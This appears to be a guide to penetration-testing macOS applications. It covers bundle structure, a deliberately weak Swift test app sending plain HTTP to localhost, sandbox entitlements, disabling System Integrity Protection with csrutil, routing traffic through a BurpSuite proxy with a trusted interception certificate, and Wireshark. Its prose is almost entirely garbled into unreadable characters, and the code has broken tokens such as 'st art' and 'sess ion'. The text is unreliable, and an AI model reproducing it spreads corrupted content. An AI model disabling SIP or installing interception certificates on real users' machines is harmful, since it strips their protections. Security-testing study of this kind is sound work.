˫˧˲˯ˣ˸ ˟ˣ˶˪ ˫˧˪˰˲ˣˬ ˸ˣ˧˶˲˯˩ ˸ˣ˲˸ˣ˷ˬ ˸ˣ˵˲˯ˬˢ API ˫˧˵˷ˬˬˣ ˣ˶ˡˠˣˢ˷ ˪˰ ˧ˡ˧ ˢ˧˴˵˧˪˲˞ˢ Φ˫ˢ 

˫˧˪ˣ˩˧ ˱˧˯ˣˢ˪ ˸ˣˮˣ˩˸ ˸ˣ˷ˡ˥ ˢ˧˴˵˧˪˲˞˪ Σˣˬ˩ ˧˲˯ˣ˸ ˸ˣ˷˧ˠˮ ˫˧˶˲˷ˬˢ ˸˞ ˸ˣ˧˷ˣˬ˧˷ˢ ˶ˣ˟˰ ˫˧˷ˮ˞ 

˫˰ ˸ˣ˧ˣ˪˟ˠˣˬ Φ˸ˣ˟˥˶ˢ Σ˸ˬˣ˰˪ ˸˞ˤ Σ˸ˣˮ˷ˬ ˸˞ ˸ˣˠˢˮ˸ˢˢ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ Σ˞ˬˠˣˡ˪ Σ˪˰ ˧ˡ˧ ˸˲˯ˣˢ 

˸ˣˮˣ˩˸ ˸ˣ˷ˡ˥ ˷ˣ˲˧˥˪ SpotlightΦ 

¶ Library Υˢ˧˧˵˧˸ xʕ ˢ˧ˣ˷˰ ˪ˣ˪˩˪ ˭ˣˣˠˬ ˧˸˸ ˸ˣ˧˵˧˸ Σˢˬˠˣˡ˪Υ 

o LaunchServices Υˢ˧˧˵˧˸ xʕ ˸˪˪ˣ˩ privileged helper tools ˧˪˰˟ ˸ˣ˞˷˶ˢ ˸ˣˡ˥ˣ˧ˬ ˫˧ˮ˵˸ˣˬˢ 

˪˰ ˧ˡ˧ Service Management Framework Σ˫˧˪˩ ˣ˪˞ ˫˧˶˷˲˞ˬ ˸ˣ˧˴˵˧˪˲˞˪ ˫˧˩˧˪ˢ˸˪ˣ ˰˴˟˪ 

˸ˣˬ˧˷ˬ ˸ˬ˶˟ ˸˩˶˰ˬˢ ˸ˣ˷˶ˣˡˢ ˸ˣ˞˷˶ˢ ˸ˣ˧˟˧˦˶˦˯˧ˮ˧ˬˡ˞ Φ˫ˢ ˫˧˴˶ ˰˵˶˟ ˫˧˶˷˵˸ˬˣ ˫˰ 

ˢ˧˴˵˧˪˲˞ˢ ˸˧˷˞˶ˢ ˸ˣ˰˴ˬ˞˟ ˧ˮˣˮˠˮˬ ˸˶ˣ˷˵˸ ˭˧˟ ˫˧˩˧˪ˢ˸ ύIPC Σόˣˬ˩ ˸ˣ˰ˡˣˢ Mach x˞ XPC Φ 

o SystemExtensions Υˢ˧˧˵˧˸ xʕ ˸˪˪ˣ˩ ˸ˣ˟˥˶ˢ ˸˩˶˰ˬ ˸ˣ˶˷˲˞ˬˢ ˸ˣˮ˩ˣ˸˪ ˣˬ˩ ˸ˣ˟˥˶ˢ ˸˷˶ 

˸ˣˮˣ˶˸˲ˣ ˸˥˦˟˞ ˸ˡˣ˵ˮ˪ ˢ˴˵ ˟˧˥˶ˢ˪ ˸˞ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ˢ ˪˷ macOS ˞˪˪ ˨˶ˣ˴ˢ ˢ˷˧ˠ˟ ˸ˬ˶˪ 

˪ˮ˶˵ˢ Φ˫ˣ˧˩ Σ˸ˣ˟˥˶ˢ ˣ˪˞ ˸ˣ˷ˬ˷ˬ ˢ˲ˣ˪˥˩ ˸ˣ˟˥˶ˢ˪ ˪ˮ˶˵ ύkexts) ˢˬˣˡ˟ ˫˧˶˟˧˧˶ˡ˪ ˟-

WindowsΦ 

o XPCServices Υˢ˧˧˵˧˸ xʕ ˪ˣ˩˸˪ ˸˞ ˧˸ˣ˶˧˷ XPC ˫˧˷ˬ˷ˬˢ ˸ˣ˧˴˵˧˪˲˞˪ macOS ˸˶ˣ˷˵˸˪ ˭˧˟ 

˫˧˩˧˪ˢ˸ Φ˧˸ˣ˶˧˷ XPC ˫˧ˬ˷ˣ˧ˬ ˧˴˟ˣ˵˩ ˢ˴˶ˢ ˫˧˧˶˞ˮ˧˟ ˫˧ˡ˶˲ˮ Σ˫˧˪˰ˣ˲ˢ ˰˵˶˟ ˫˧˪ˣ˩˧ˣ ˷ˬ˷˪ 

˶˲˯ˬ ˫˧˩˧˪ˢ˸ x˟ ˸˧ˮˬˤΦ 

ˢˬ˧˷˶˪ ˢ˞˪ˬˢ ˭˸˧ˮ ˶ˤ˰˧ˢ˪ ˡˣ˰˧˸˟ ˪˷ ˪˲˞ ύ!ǇǇƭŜΩǎ ŘƻŎǳƳŜƴǘŀǘƛƻƴΦό 

https://developer.apple.com/documentation/bundleresources/information_property_list
https://developer.apple.com/documentation/bundleresources/information_property_list
https://developer.apple.com/documentation/servicemanagement/
https://developer.apple.com/documentation/bundleresources/placing_content_in_a_bundle
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Dummy Application 

ˣˮ˷˲˧˥ ˸˧˧˴˵˧˪˲˞ ˢˬˡ ˸˪˪ˣ˩˷ ˢˬ˩ ˸ˣ˧˴˶ˣˠ˧˲ˮˣ˵ ˸ˣ˧ˣ˵˪ Σ˭ˣˠ˩Υ 

¶ Unencrypted data over the network 

¶ Various entitlements 

¶ Invalid code signature 

¶ Load dylibs that can be hijacked 

˨˞ ˞˪ ˣˮ˞˴ˬ ˸˥˞ ˫˧˞˸ˬ˷ ˫˧˩˶˴˪ ˣˮ˪˷ Φ˭˩˪ˣ Σˣˮ˦˪˥ˢ ˸˟ˣ˦˪ ˸ˣ˵˧ˡ˟ˢ ˥˸˲˪ ˢ˧˴˵˧˪˲˞ ˣˮ˪˷ˬΥ 

 

ˣˮ˸˥ˬ˷˪ Σˣˮ˪˵˸ˮ ˟ˠˣ˪˟ ˭˧˧ˮ˰ˬ ˨˧˶ˡˢ˷ ˣˮ˸ˣ˞ ˡ˴˧˩ ˥˸˲˪ ˢ˧˴˵˧˪˲˞ ˸˲˷˟ SwiftΦ ˨˪ˢˬ˟ ˸˧˧ˮ˟ 

ˢˢ˧˴˵˧˪˲˞ ˣˮ˪˷ Σ˶˟˰ˬ ˫ˣ˷˧˧˪ ˧˯˧˯˟ Σˣˮ˲˯ˣˢ ˫ˠ ˡˣ˵ ˶˷˲˞ˬ˷ ˸˥˧˪˷ ˸ˣ˷˵˟ HTTP ˸˶˷˪ ˣˮ˪˷ˬΦ 

˭˪ˢ˪ ˡˣ˵ ˢ˧˴˵˧˪˲˞ˢ Ϧ˸˟˩˶ˣˬˢ Ϧˣˮ˪˷Υ 

//  
//  ViewController.swift  
//  dummy  
//  
  
import Cocoa 
  
class ViewController : NSViewController {  
    @IBOutlet weak var textField : NSTextField !  
    @IBOutlet weak var textLabel : NSTextField !  
     
    @IBOutlet weak var jhonny : NSImageView!  
    override func viewDidLoad () {  

https://www.kodeco.com/731-macos-development-for-beginners-part-1
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        super . viewDidLoad ()  
  
        jhonny.isHidden = true  
    }  
  
    override var representedObject : Any? {  
        didSet {  
        }  
    }  
    @IBAction func buttonClicked (_ sender : Any) {    
      
        var text = textField.stringValue  
        if text.isEmpty {  
          text = "Boom" 
        }  
        let start = ">> \ ( text)!"  
        textLabel.stringValue = st art  
        jhonny.isHidden = false  
    }  
     
    @IBAction func sendRequest (_ sender : Any) {  
         
        let url = URL(string : "http://127.0.0.1:9999" ) !  
        var request = URLRequest(url : url)  
        request.httpMethod = "GET" 
  
        let sess ion = URLSession.shared  
        let task = session. dataTask (with : request) { (data, response, error) in  
  
            if let error = error {  
            } else if let data = data {  
            } else {  
            }  
        }  
            task. resume()     
    }    
}  

˶˷˞˩ ˫˧˶˴˧˧ˬ ˸˧˧˴˵˧˪˲˞ macOS ˢ˷ˡ˥ ˟πXcode Σ˞˧ˢ ˸˪˟˵ˬ ˸˞ sπentitlement ˪πApp Sandbox ˸˞ˣ 

˦˯ ˸ˣ˪ˣ˩˧ˢ ύcapabilities ό˪˷ ˸˶˧˶˟ ˪ˡ˥ˬˢΦ 

App Sandbox ˞ˣˢ ˭ˣˮˠˮˬ ˢ˥˦˟˞ ˪˧˟ˠˬˢ ˸˞ ˢ˷˧ˠˢ ˪˷ ˸ˣ˧˴˵˧˪˲˞ ˧˟˞˷ˬ˪ ˸˩˶˰ˬ ˧ˮˣ˸ˮ˪ˣ ˷ˬ˸˷ˬ Σ

˫˷ˣ˧ˬˣ ˸ˬ˶˟ sπkernel ˪˷ ˸˩˶˰ˬˢ Φ˭˸˧ˮ ˟˧˥˶ˢ˪ ˸˞ ˢ˷˧ˠˢ ˪˷ ˢ˧˴˵˧˪˲˞ˢ ˫˧˟˞˷ˬ˪ ˫˧˲˯ˣˮ 

˸ˣ˰˴ˬ˞˟ ˸˶ˡˠˢ Entitlements Φ˪˩ ˢ˧˴˵˧˪˲˞ ˸˶ˡˠˣˬˢ ˫˰ ˢ˞˷˶ˢˢ apple.security.app-sandbox 

˸˪˰ˣ˲ ˨ˣ˸˟ Sandbox Container ˧ˡˣ˰˧˧ Σˡˡˣ˟ˬˢ ˸˞ ˢ˧˸ˣ˪ˣ˰˲ ˶˞˷ˬ ˸˩˶˰ˬˢΦ 

Capabilities x-Entitlements ˫ˮ˧ˢ ˧ˮ˷ ˫˧ˮˣˮˠˮˬ ˫˧˶˧ˡˠˬˢ ˸˞ ˸ˣ˞˷˶ˢˢ ˸ˣˬ˶ˣ ˢ˷˧ˠˢ ˪˷ ˢ˧˴˵˧˪˲˞ˢ Φ

Capabilities ˶˧ˡˠˬ ˢˬ ˫ˢ ˫˧˟˞˷ˬˢ ˸ˣ˪ˣ˩˧ˢˣ ˸ˣ˶˸ˣˬˢ ˷ˣˬ˧˷˪ ˪˰ ˧ˡ˧ ˢ˧˴˵˧˪˲˞ˢ Σ˭ˣˠ˩ ˢˬ˪˴ˬ x˞ ˢ˷˧ˠ 

˦ˮ˶˦ˮ˧˞˪ Φ˪˧˟˵ˬ˟ Σentitlements ˸ˣ˵˧ˮ˰ˬ ˢ˧˴˵˧˪˲˞˪ ˢ˷˧ˠ ˸ˣ˞˷˶ˢˣ ˶˷˵˸˪ ˫˰ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ 

˸ˣ˧˴˵˧˪˲˞ˣ ˸ˣ˶˥˞Φ 

  

https://developer.apple.com/documentation/security/app_sandbox?language=objc
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˵˪˥˪ ˸ˣ˪ˣ˰˲ˢˬ Σˣˮ˞ ˫˧˩˧˶˴ ˱˧˯ˣˢ˪ capabilities ˫˧ˬ˧ˣ˯ˬ Σ˞ˬˠˣˡ˪Υ 

¶ ˪˰ ˸ˮˬ ˢ˧˴˵˧˪˲˞ˢ˷ ˪˩ˣ˸ ˶˷˵˸˪ ˦ˮ˶˦ˮ˧˞˪ Σˣˮ˲˯ˣˢ ˸˞ s-capabilities ˫˧˶ˣ˟˧˥˪ ˫˧˯ˮ˩ˮκ˫˧˞˴ˣ˧ 

ύ˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ ˢˮˣˬ˸˟ ˢ˦ˬΣό ˢ˪ˣ˰˲ xʕ ˱˯ˣˮ˟ Σˢ˲˧˯ˣˬ ˸˧˦ˬˣ˦ˣ˞ ˸˞ sπentitlements ˪˷ 

com.apple.security.network ˢ˧˴˵˧˪˲˞˪Φ 

¶ ˧ˡ˩ ˸˷ˠ˪ ˢ˶ˬˣ˥˪ Σˣˬ˩ ˢˬ˪˴ˬˢ ˸˧ˮ˟ˣˬˢ Σˣˮ˲˯ˣˢ ˸˞ sπcapabilities ˢ˶ˬˣ˥˪ ˸˧˲˧˴˲˯ Σˢ˪ˣ˰˲ xʕ 

ˢ˲˧˯ˣˬ ˸˧˦ˬˣ˦ˣ˞ ˸˞ sπentitlements ˪˷com.apple.security.device  ˢ˧˴˵˧˪˲˞˪Φ 

¶ ˧ˡ˩ ˸˷ˠ˪ ˫˧˴˟˵˪ Σˣˮ˲˯ˣˢ ˸˞ sπcapabilities ˫˧˴˟˵˪ ˸ˣ˞˷˶ˢˣ ˸ˣ˧˲˧˴˲˯ Σˢ˪ˣ˰˲ xʕ ˢ˲˧˯ˣˬ 

˸˧˦ˬˣ˦ˣ˞ ˸˞ sπentitlements ˪˷com.apple.security.files  ˢ˧˴˵˧˪˲˞˪Φ 

˧ˡ˩ ˶˷˲˞˪ ˢ˧˴˵˧˪˲˞˪ ˰˴˟˪ ˸˶ˣ˷˵˸ Σˣˮ˲˯ˣˢ ˸˞ ˸˪ˣ˩˧ˢ ˫˧˶ˣ˟˧˥˪ ˫˧˞˴ˣ˧ ύOutgoing Connections Σό

ˢ˞˴ˣ˸˩ ˨˩ˬ Σˢ˲˯ˣˮ ˢˢˢ˞˷˶ Υ com.apple.security.network.client ˢ˧˴˵˧˪˲˞˪ ˣˮ˪˷Φ 

 

˸˶˧˶˟˩ ˪ˡ˥ˬ Σ˪˥ˢ ˬπmacOS млΦмр Σ˪˩ ˸ˣ˧˴˵˧˪˲˞ˢ ˟πMac ˸ˣ˟˧˧˥ ˸ˣ˧ˢ˪ Ϧ˸ˣ˶˷ˣ˞ˬ Ϧ˪˰ ˧ˡ˧ ˪˲˞ ˧ˮ˲˪ 

ˢ˴˲ˢ Φ˭˸˧ˮ ˸ˣ˲˴˪ ˡˣ˰˧˸˟ ˪˷ ˪˲˞ ˡ˴˧˩ ˪˟˵˪ ˶ˣ˷˧˞ ˳˧˲ˢ˪ ˢˮ˩ˣ˸ ˪-macOS ˭˞˩ Φ˫˞ ˣˮ˧˧ˢ ˫˧˴˧˲ˬ ˸˞ 

ˢ˧˴˵˧˪˲˞ˢ ˨˶ˡ ˸ˣˮ˥ ˸ˣ˧˴˵˧˪˲˞ˢ Σˣˮ˧˧ˢ ˫˧˩˧˶˴ ˶ˣ˟˰˪ ˸ˣ˵˧ˡ˟ ˢ˥˦˟˞ ˸ˣ˲˯ˣˮ ˨˶ˣ˴˪ ˶ˣ˷˧˞Φ 

https://developer.apple.com/documentation/security/notarizing_macos_software_before_distribution
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˭˸˧ˮ ˸ˣ˲˴˪ ˸˪˧˟˥˟ ˢ˧˴˵˧˪˲˞ˢ ˪˷ ˢ˧˴˵˧˪˲˞ ˢˬˡˢ ˪˰ ˧ˡ˧ ˰ˣ˴˧˟ ˫˧˟˪˷ˢ ˫˧˞˟ˢΥ 

¶ ˥˪˴x ˪˰ "Product" ˦˧˶˲˸˟ ˪˷ XcodeΦ 

¶ ˶˥˟ ˟x-"Archive"Φ 

¶ ˶˥˞˪ ˞˶˸˷ x˸˞ ˭ˣ˧˩˶˞ˢ Σ˥˪ˣ˴ ˢ˴˧˥˪ ˸˧ˮˬ˧ ˶˥˟ˣ xϦShow in Finder Ϧ˨ˣ˸ˬ ˦˧˶˲˸ˢ ˧˶˷˵ˢˢΦ 

˸˰˩ Σ˧˶˥˞ ˣˮ˧ˮ˟˷ ˸˧˴˵˧˪˲˞ ˢˬˡ Σ˪˩ˣˮ ˪˧˥˸ˢ˪ ˶ˣ˵˯˪ˣ ˸ˣ˵˧ˮ˩˦ ˸ˣˮˣ˷ ˸ˣ˧˷ˣˬ˧˷ˣ ˰ˣ˴˧˟˪ ˸ˣ˵˧ˡ˟ ˸ˣ˶˧ˡ˥Υ 

 

GUI Testing 

ˣˬ˩ ˸ˣ˩˶˰ˬ˟ Windows xπLinux Σ˟˪˷ˢ ˭ˣ˷˞˶ˢ ˞ˣˢ ˸ˣˢˤ˪ ˸˞ ˧˥˦˷ˬ ˦˪˵ˢ ˫˧˧˶˷˲˞ˢ ˪˷ ˷ˬ˸˷ˬˢ 

˵ˣˡ˟˪ˣ ˫˸ˣ˞ ˶ˣ˟˰ ˸ˣ˲˵˸ˬ ˸ˣ˰ˣˡ˧ ˸ˣˬ˪ˣ˰ˬ sInsecure Input Validation- Φ˱˯ˣˮ˟ Σˢˮ˟ˢ ˪˷ ˸ˣˠˢˮ˸ˢˢ 

˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ˢˣ ˪˷ ˢ˧˴˵˧˪˲˞ˢ ˞˧ˢ ˸˧ˮˣ˧˥ Φˢˤ ˪˪ˣ˩ ˢˮ˟ˢ ˪˷ ˨˧˞ ˢ˧˴˵˧˪˲˞ˢ ˸ˡ˟˰ˬ ˦˪˵ ˷ˬ˸˷ˬˢˬ Σ

ˣ˪˧˞ ˫˧ˮˣ˸ˮ ˞˧ˢ ˸˲˯ˣ˞ ˸˶ˬˣ˷ˣ Σ˨˧˞ˣ ˞˧ˢ ˸˶˷˵˸ˬ ˫˰ ˸ˣ˩˶˰ˬ ˸ˣ˧ˮˣ˴˧˥Φ 

Network Testing 

˥ˣ˸˧ˮ ˸˶ˣ˷˵˸ˢ ˭˧˟ ˢ˧˴˵˧˪˲˞ˢ ˸˶˷˪ ˢˮ˧ˢ ˸˧ˮˣ˧˥ ˸ˣ˵˧ˡ˟˪ ˸ˣ˶˧ˡ˥Φ ˪˰ ˧ˡ˧ ˢˮ˧˥˟ ˪˷ ˸˶ˣ˟˰˸ ˸˷˶ˢ Σ

˭˸˧ˮ ˸ˣˢˤ˪ ˰ˡ˧ˬ ˷˧ˠ˶ ˶˟˰ˣˬˢ ˳ˣ˶˰˟ ˞˪ ˥˦˟ˣ˞ˬ. 

˸˶˧˶˟˩ ˪ˡ˥ˬΣ πmacOS ˪˰˲ˣˬ ˭ˣˮˠˮˬ ˢ˥˦˟˞ ˶˵ˮˢ ˞SIP Φˤ˞ ˣ˞ˣ˟ ˫ˡˣ˵ ˭˧˟ˮ ˢˬ ˞ˣˢΦ 

 

System Integrity Protection 

SIP ˣˮ˧ˢ ˭ˣˮˠˮˬ ˢ˥˦˟˞ ˸˩˶˰ˬ˟ macOS ˡ˰ˣˮ˷ ˰ˣˮˬ˪ ˸ˣˮ˩ˣ˸ˬ ˸ˣ˧ˮˣˡˤ ˸ˣˮ˷˪ ˫˧˴˟˵ ˸ˣ˧˵˧˸ˣ ˫˧˷˧ˠ˶ Φ

˭ˣˮˠˮˬ ˢˤ ˪˧˟ˠˬ ˸˞ ˣ˧˸ˣ˪ˣ˰˲ ˪˷ ˷ˬ˸˷ˬ ˪˰˟ ˸ˣ˞˷˶ˢ ˸ˣˢˣ˟ˠ Σ˫˴ˬ˴ˬˣ ˸˞ ˸˪ˣ˩˧ˢ ˰˴˟˪ ˫˧˧ˣˮ˧˷ 

˫˧˵˪˥˟ ˫˧ˮˠˣˬˢ ˪˷ ˸˩˶˰ˬ ˢ˪˰˲ˢˢΦ 

SIP ˪˧˩ˬ ˶˲˯ˬ ˫˧ˮˣˮˠˮˬ Σ˫ˢ˧ˮ˧˟Υ 

¶ Filesystem protection Υ˰ˮˣˬ ˪˩ ˫˧˧ˣˮ˧˷ ˸ˣ˧˵˧˸˟ bin, //sbin, System x-r/usΣ ˣˬ˩ ˭˩ ˫ˠ ˧˴˟˵˟ 

˸ˣ˧˵˧˸ˣ ˸˩˶˰ˬ ˫˧ˬ˧ˣ˯ˬ ˫˧˲˯ˣˮΦ 

¶  Runtime Protection Υ˪˧˟ˠˬ ˸˞ ˸˪ˣ˩˧ˢ ˱˶˴˪ ˶ˠ˞˟˧ˡ ˰ˮˣˬˣ ˸˵˶ˤˢ ˡˣ˵Φ 

¶ Kernel extensions protection Υ˪˧˟ˠˬ ˸˞ ˸ˮ˵˸ˢ ˸ˣ˟˥˶ˢ ˪ˮ˶˵ ύkexts ό˵˶ ˣ˪˞˪ ˣ˶˷ˣ˞˷ ˣˬ˸˥ˮˣ 

˪˰ ˧ˡ˧ ˪˲˞Φ 

˭ˣˮˠˮˬ sπSIP ˟πmacOS ˰ˮˣˬ ˣˮ˸˧˞ˬ ˶˦ˮ˪ ˸˞ ˸ˣ˪˧˰˲ ˸˷˶ˢ Σ˭˩˪ˣ ˨˶ˣ˴˪ ˢ˵˧ˡ˟ˢ ˸˧˟˷ˮ ˣ˸ˣ˞ Σ˟ˣ˷˥ ˭˧˧˴˪ 

˭˲ˣ˞˟˷ ˧˪˪˩ ˞˪ ˳˪ˬˣˬ ˸˧˟˷ˢ˪ ˸˞ ˭ˣˮˠˮˬˢΦ 

https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/FileSystemProtections/FileSystemProtections.html#//apple_ref/doc/uid/TP40016462-CH2-SW1
https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/FileSystemProtections/FileSystemProtections.html#//apple_ref/doc/uid/TP40016462-CH2-SW1
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˪˰ ˸ˮˬ ˪˦˟˪ ˸˞ ˭ˣˮˠˮˬ sπSIP Σ˭˸˧ˮ ˰˴˟˪ ˸˞ ˫˧˟˪˷ˢ ˫˧˞˟ˢ Υˣ˪˧˰˲ˢ Terminal ˦˧˶˲˸ˬ Utilities ˟˴ˬ˟ 

Recovery mode Σˣ˴˧˶ˢ ˸˞ ˢˡˣ˵˲ˢ csrutil disable ˣ˪˧˰˲ˢˣ ˷ˡ˥ˬ ˸˞ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ Φ˶˥˞˪ ˸˧˧˪˰ 

˸˩˶˰ˬ ˢ˪˰˲ˢˢ ˸ˣ˶˟˥˸ˢˣ Σˣ˥˸˲ ˸˞ ˪ˮ˧ˬ˶˦ˢ ˣ˴˧˶ˢˣ ˸˞ ˢˡˣ˵˲ˢ csrutil status  ˧ˡ˩ ˵ˣˡ˟˪ ˫˞ ˭ˣˮˠˮˬ 

πsSIP ˪˦ˣ˟ ˢ˥˪˴ˢ˟ Φ˭˸˧ˮ ˸ˣ˲˴˪ ˟˭ˣ˦˶˯ ˞˟ˢ ˫˞ ˷˧ ˨˶ˣ˴ ˨˧˶ˡˬ˟ ˦˶ˣ˲ˬ ˶˸ˣ˧Φ 

˟ˣ˷˥ ˶ˣ˩ˤ˪ ˸˸˟˷ˢ˷ sπSIP ˢ˪ˣ˪˰ ˶˧˞˷ˢ˪ ˸˞ ˸˩˶˰ˬˢ ˢ˲ˣ˷˥ ˸ˣ˲˵˸ˢ˪ Σ˭˩˪ ˣˡ˧˲˵ˢ ˪˧˰˲ˢ˪ ˣ˸ˣ˞ 

˷ˡ˥ˬ ˶˥˞˪ ˫ˣ˧˯ ˶˵˥ˬˢ Φ˭˸˧ˮ ˪˧˰˲ˢ˪ ˸˞ sπSIP ˪˰ ˧ˡ˧ ˰ˣ˴˧˟ ˫˸ˣ˞ ˫˧˟˪˷ ˣ˶˩ˤˣˢ˷ ˪˧˰˪ Σ˪˟˞ ˫ˣ˵ˬ˟ 

˳˧˶ˢ˪ ˸˞ srutil disablec Σˣ˴˧˶ˢ ˸˞ ˢˡˣ˵˲ˢ csrutil enableΦ 

 

Proxy Like a Boss 

˸˰˩ Σ˶˥˞˪ ˢ˷πSIP ˪˦ˣ˟ Σˣˮ˞ ˫˧˪ˣ˩˧ ˨˧˷ˬˢ˪ ˸˶ˡˠˢ˟ sπproxy ˣˮ˪˷ ˦ˣ˶˧˧˪ ˥ˣ˸˧ˮ˪ˣ ˸˞ ˸ˣ˧ˣ˪˧˰˲ ˸˷˶ˢ 

˪˷ ˸˧˧˴˵˧˪˲˞ ˢˬˡˢΦ ˨˶ˣ˴˪ ˨˩ ˷ˬ˸˷ˮ ˧˪˩˟ BurpSuite Σ˶˷˲˞˧˷ ˣˮ˪ ˦˶˧˧˪ Σ˪˰˲˸˪ ˥˸ˮ˪ˣ ˸˶ˣ˟˰˸ 

HTTP xπHTTPS ˭˧˟ ˢ˧˧˴˵˧˪˲˞ˢ ˸˷˶˪. ˭˪ˢ˪ ˫˧˟˪˷ˢ ˸˶ˡˠˢ˪ ˧˯˵ˣ˶˲ ˸ˣ˩˶˰ˬ˟ macOSΥ 

мΦ ˣˡ˧˶ˣˢ ˸˞ BurpSuite ˶˸˞ˬ PortSwigger ˣˮ˧˵˸ˢˣ ˣ˸ˣ˞ ˸˩˶˰ˬ˟ ˫˩˪˷Φ 

нΦ ˣ˶˟˰ ˸˧ˮˣ˷˪˪ ϦProxy Ϧ˶˥˞˪ˣ ˭˩ˬ ˸˧ˮˣ˷˪˪ ϦOptionsΦϦ ˣ˲˧˯ˣˢ Listener ˷ˡ˥ x˞ ˣ˩˶˰ ˸˞ ˫˧˧˵ˢ 

ˣ˶˧ˡˠˢˣ ˸˞ ˸˟ˣ˸˩ sπIP ˦˶ˣ˲ˢˣ Φ˟˪˷˟ ˞˟ˢ Σˣ˞˴˧˧ ˸˞ ˸ˡˣ˰˸ sπBurp ˦ˬ˶ˣ˲˟ .der ˣ˶ˬ˷ˣ ˢ˸ˣ˞ 

ˢ˧˧˵˧˸˟ ˸˧ˬˣ˵ˬ ˧ˢ˷˪˩Υ 

 

https://www.youtube.com/watch?v=c8Iqbydj4IU
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оΦ ˸ˮ˵˸ˢ ˸ˡˣ˰˸ sπCA ˸˩˶˰ˬ˟ macOS Υˣ˥˸˲ ˸˞ ˧˪˩ sπKeychain Access ˟πmacOS Φˣ˶˶ˠ ˸˞ ˸ˡˣ˰˸ 

πsCA ˸˞˴ˣ˧ˬˢ ˨ˣ˸˪ Keychain Access Σˣ˞ ˣ˶˥˟ ˟πFile > Import Items Φˣ˷˲˥ ˸˞ ˢˡˣ˰˸ˢ ˸˞˟ˣ˧ˬˢ 

π˟Keychain Access Σˣ˴˥˪ ˢ˧˪˰ ˢ˴˧˥˪ ˸˧ˮˬ˧ ˣ˶˥˟ˣ ϦGet Info ΦϦ˸˧ˮˣ˷˪˟ ϦTrust ΣϦˣ˶˥˟ ˟πϦAlways 

Trust Ϧ˶ˣ˟˰ ˪˩ ˸ˣ˧ˣ˶˷˲˞ˢΥ 

 

пΦ  ˶ˡˠˢ x˧˯˵ˣ˶˲ ˰ˣ˟˵ ˟πmacOS Υ˧ˡ˩ ˸ˣ˷˰˪ ˸˞ˤ Σˣ˦ˣˣˮ ˦˧˶˲˸˪ System Preferences ˣ˶˥˟ˣ 

ϦNetwork ΦϦˣ˶˥˟ ˸˞ ˫˞˸ˬ ˸˷˶ˢ ˣ˴˥˪ˮˣ ˪˰ ˶ˣ˸˲˩ ϦAdvanced ΦϦ˦˧˶˲˸˟ ˡ˵˸ˬ ˫Σ˶˥˟ˮ ˸˧ˮˣ˷˪˟ 

ϦProxies Ϧ˰˟˵ˮˣ ˸˞ ˸ˣ˶ˡˠˢ sπproxy Φ˶˧ˡˠˮ ˸˞ ˠˣ˯ sπproxy ˪πϦHTTP ΣϦ˸˞ ˸˶˷ sπproxy ˪π

ϦмнтΦлΦлΦм Ϧ˦˶ˣ˲ˣ ˪πϦулулϦΥ 

 

р Φ˪˰ ˸ˮˬ ˵ˣˡ˟˪ ˸˞ ˸˶ˡˠˢ ˢ˧˴˶ˣˠ˧˲ˮˣ˵ ˪˷ sπproxy ˭˸˧ˮ ˳˧˶ˢ˪ ˭˲ˡ˲ˡ ˦ˣˣˮ˪ˣ ˶˸˞˪ ˧˞˶˵˞. ˶˥˞˪ ˭˩ˬ Σ

ˣ˶ˤ˥ ˪-BurpSuite ˣ˞ˡˣˣ ˭˸˧ˮ˷ ˣ˞˶˪ ˸˸˞ ˸˶ˣ˟˰˸ ˸˷˶ˢ ˸˥˸ ˸˧ˮˣ˷˪ˢ ProxyΦ 
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Wireshark 

˱˯ˣˮ˟ Σ˭˸˧ˮ ˰˴˟˪ ˥ˣ˸˧ˮ ˸˶ˣ˟˰˸ ˸˷˶ ˸ˣ˰˴ˬ˞˟ WiresharkΦ 

 

Wireshark ˣˮ˧ˢ ˧˪˩ ˶ˣ˦˧ˮ˪ ˥ˣ˸˧ˮˣ ˸˶ˣ˟˰˸ ˸˷˶ Φ˭˸˧ˮ ˷ˬ˸˷ˢ˪ x˟ ˧ˡ˩ ˸ˣˢˤ˪ ˸ˣ˷˪ˣ˥ ˢ˥˦˟˞ ˸˶ˣ˷˵˸˟ 

˸˷˶ Σˣˬ˩ ˸ˣ˞ˬ˯˧˯ ˦˯˵˦˟ ˧ˣ˪ˠ Σ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˞˪ ˫˧˥˦˟ˣ˞ˬ Σ˰ˡ˧ˬ ˷˧ˠ˶ ˩xΦxϥ ˶ˬ˞ˬ˟ ˢˤ ˞˪ ˶ˣ˵˯ˮ ˸˞ 

˥ˣ˸˧ˮ ˢ˶ˣ˟˰˸ˢ ˫˰ Wireshark Σ˨˞ ˫˸˞ ˫˧ˮˬˤˣˬ ˵˧ˬ˰ˢ˪ ˞˷ˣˮ˟ ˫˧˶ˬ˞ˬ˟ ˫˧ˬ˧˧˵ Σ˞ˬˠˣˡ˪Υ Wireshark 

For Pentester: A Beginner's GuideΦ 

 

 

Static File Analysis 

˭ˬˤ˟ ˥ˣ˸˧ˮ ˸˧˧˴˵˧˪˲˞ macOS Σ˪˟ˣ˵ˬ ˪˧˥˸ˢ˪ ˶˟˰ˬˬ ˪˰ ˸ˬ˧˸˥ ˡˣ˵ˢ Φˢˬ˧˸˥ˢ ˢ˪˧˩ˬ ˫˧ˮˣ˸ˮ ˣˬ˩ 

˸˶˷˶˷ ˸ˣˡˣ˰˸ˢ Σ˸ˣ˞˷˶ˢ ύentitlements ό˧˦˶˲ˣ ˢˡˣ˰˸ˢ ˸˧˪˦˧ˠ˧ˡˢ Σ˫˧˪ˣ˩˧˷ ˵˲˯˪ ˸ˣˮ˟ˣ˸ ˧˟ˠ˪ 

˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ˢ Σ˸ˬ˶ ˢ˥˦˟˞ˢ ˸ˣ˧ˣ˰˧ˠ˲ˢˣ ˸ˣ˧˪˞˧˴ˮ˦ˣ˲ˢ ˪˷ ˢ˧˴˵˧˪˲˞ˢΦ 

˧ˢˬ ˸ˬ˧˸˥ ˵ˡˣΚ 

